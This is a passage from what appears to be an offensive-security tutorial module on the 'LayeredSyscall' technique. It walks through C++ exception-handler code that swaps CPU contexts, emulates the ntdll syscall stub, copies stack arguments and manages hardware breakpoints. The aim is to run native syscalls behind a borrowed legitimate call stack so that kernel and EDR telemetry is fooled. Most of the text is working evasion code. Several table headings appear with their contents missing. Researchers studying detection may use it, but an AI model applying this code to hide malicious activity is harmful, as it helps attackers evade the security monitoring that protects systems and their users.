Module 7: Argument Marshalling & Syscall Execution

Registers from the past, a stack from the present — the Frankenstein context that fools kernel telemetry.

The Context Swap

When IsSubRsp reaches 2, the handler performs the most critical operation in the entire technique — the context swap. This is a carefully ordered sequence that preserves exactly what we need from each context.

C++// IsSubRsp == 2: All three conditions met
if (IsSubRsp == 2) {
    // Step 1: Save the CURRENT RSP (legitimate call stack)
    ULONG_PTR TempRsp = ExceptionInfo->ContextRecord->Rsp;

    // Step 2: Restore the SAVED context (real syscall arguments)
    //         This overwrites ALL registers including RSP
    memcpy(ExceptionInfo->ContextRecord,
           &SavedContext,
           sizeof(CONTEXT));

    // Step 3: Replace RSP with the legitimate stack pointer
    //         This keeps the genuine call frames from MessageBoxW chain
    ExceptionInfo->ContextRecord->Rsp = TempRsp;

    // ... (syscall emulation and argument copying follow)
}

Syscall Emulation

After the context swap restores the real arguments, the handler must set up the CPU state exactly as if the ntdll syscall stub had executed normally. This means emulating the two instructions that the stub performs before the syscall opcode:

x86-64 ASM;; Normal ntdll stub (what we are emulating):
mov r10, rcx        ; Save first argument (syscall clobbers RCX)
mov eax, <SSN>      ; Load System Service Number
syscall              ; Enter kernel

C++// Emulate: mov r10, rcx
ExceptionInfo->ContextRecord->R10 =
    ExceptionInfo->ContextRecord->Rcx;

// Emulate: mov eax, SSN
ExceptionInfo->ContextRecord->Rax = SyscallNo;

// Point RIP directly at the syscall instruction
ExceptionInfo->ContextRecord->Rip =
    SyscallEntryAddr + OPCODE_SYSCALL_OFF;

Extended Arguments (5th through 12th)

The x64 Windows calling convention passes the first four arguments in registers (RCX, RDX, R8, R9). Any additional arguments go on the stack. The context swap restored the registers but used the legitimate stack (TempRsp). That stack does not have the original arguments 5+. They must be copied from the saved stack.

C++if (ExtendedArgs) {
    ULONG_PTR Rsp      = ExceptionInfo->ContextRecord->Rsp;  // Legitimate stack
    ULONG_PTR SavedRsp = SavedContext.Rsp;                     // Original stack

    // Copy arguments 5 through 12 from saved stack to legitimate stack
    *(ULONG_PTR*)(Rsp + FIFTH_ARGUMENT)     = *(ULONG_PTR*)(SavedRsp + FIFTH_ARGUMENT);
    *(ULONG_PTR*)(Rsp + SIXTH_ARGUMENT)     = *(ULONG_PTR*)(SavedRsp + SIXTH_ARGUMENT);
    *(ULONG_PTR*)(Rsp + SEVENTH_ARGUMENT)   = *(ULONG_PTR*)(SavedRsp + SEVENTH_ARGUMENT);
    *(ULONG_PTR*)(Rsp + EIGHTH_ARGUMENT)    = *(ULONG_PTR*)(SavedRsp + EIGHTH_ARGUMENT);
    *(ULONG_PTR*)(Rsp + NINTH_ARGUMENT)     = *(ULONG_PTR*)(SavedRsp + NINTH_ARGUMENT);
    *(ULONG_PTR*)(Rsp + TENTH_ARGUMENT)     = *(ULONG_PTR*)(SavedRsp + TENTH_ARGUMENT);
    *(ULONG_PTR*)(Rsp + ELEVENTH_ARGUMENT)  = *(ULONG_PTR*)(SavedRsp + ELEVENTH_ARGUMENT);
    *(ULONG_PTR*)(Rsp + TWELVETH_ARGUMENT)  = *(ULONG_PTR*)(SavedRsp + TWELVETH_ARGUMENT);
}

Argument Offset Table

Clearing the Trap Flag

After the context swap and syscall emulation are complete, the handler must clear the Trap Flag. If it remains set, every instruction of the real syscall stub (and potentially kernel code) would trigger SINGLE_STEP exceptions, which would be catastrophic.

C++// Clear the Trap Flag - stop single-stepping
ExceptionInfo->ContextRecord->EFlags &= ~0x100;

// Reset the state machine for the next wrapped syscall
IsSubRsp = 0;

return EXCEPTION_CONTINUE_EXECUTION;
// Execution resumes at the syscall instruction with:
//   - Real arguments in registers (RCX, RDX, R8, R9)
//   - R10 = RCX (syscall convention)
//   - RAX = SSN
//   - RSP pointing to legitimate call stack with args 5+ copied
//   - RIP at the syscall instruction inside ntdll

Phase 4: Clean Return via Dr1

After the kernel completes the syscall, execution returns to the ret instruction in the ntdll stub (immediately after the syscall instruction). The Dr1 hardware breakpoint fires, generating another EXCEPTION_SINGLE_STEP.

C++// Inside HandlerHwBp - Phase 4: Return breakpoint
if (ExceptionInfo->ContextRecord->Rip ==
        SyscallEntryAddr + OPCODE_SYSCALL_RET_OFF)
{
    // 1. Disable Dr1 breakpoint (clear bit 2 in Dr7)
    ExceptionInfo->ContextRecord->Dr7 &= ~(1 << 2);

    // 2. Restore the original RSP from SavedContext
    //    This points back to the wrapper function's stack frame
    ExceptionInfo->ContextRecord->Rsp = SavedContext.Rsp;

    // 3. Continue execution - the 'ret' instruction will now
    //    return to the wrapper function as if nothing happened
    return EXCEPTION_CONTINUE_EXECUTION;
}

Memory Layout During Execution

Understanding the state of RSP at each phase is critical to understanding the full technique:

The Complete Wrapped Syscall List

LayeredSyscall wraps approximately 31 native API functions. Here is a representative subset grouped by category, showing their argument counts and whether they require extended argument copying:

Process & Thread

Memory

Section, Query & Token

Handle & Object